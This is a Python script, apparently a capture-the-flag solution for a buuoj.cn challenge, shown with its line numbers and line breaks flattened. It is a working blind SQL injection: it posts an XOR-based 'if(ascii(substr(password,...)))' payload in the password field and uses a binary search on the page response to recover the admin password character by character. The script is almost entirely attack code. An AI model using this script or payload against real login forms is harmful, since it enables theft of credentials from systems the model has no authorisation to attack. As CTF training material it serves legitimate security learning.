1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import urllib.parse import requests url = "http://b55b8d41-e118-469f-b96e-86b3569754ea.node3.buuoj.cn/index.php"
session = requests.session()
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4\ 240.183 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,\ application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh=0.9", "Cookie": "UM_distinctid=175e50a9b5583-0f2389e7fe1245-930346c-149c48-175e50a9b56647", "Content-Type": "application/x-www-form-urlencoded"} data = "username=admin\&password=^if(ascii(substr(password,{a},1))>{b},1,0)#" result = "" i = 0
if __name__ =="__main__": while True: start = 32 end = 127 i+=1 while start < end: mid = (start + end) >> 1 data1 = data.format(a=i, b=mid) r = session.post(url=url, headers=headers, data=data1) if "stronger" not in r.text: start = mid + 1 else: end = mid
if start != 32: result += chr(start) print(result)
|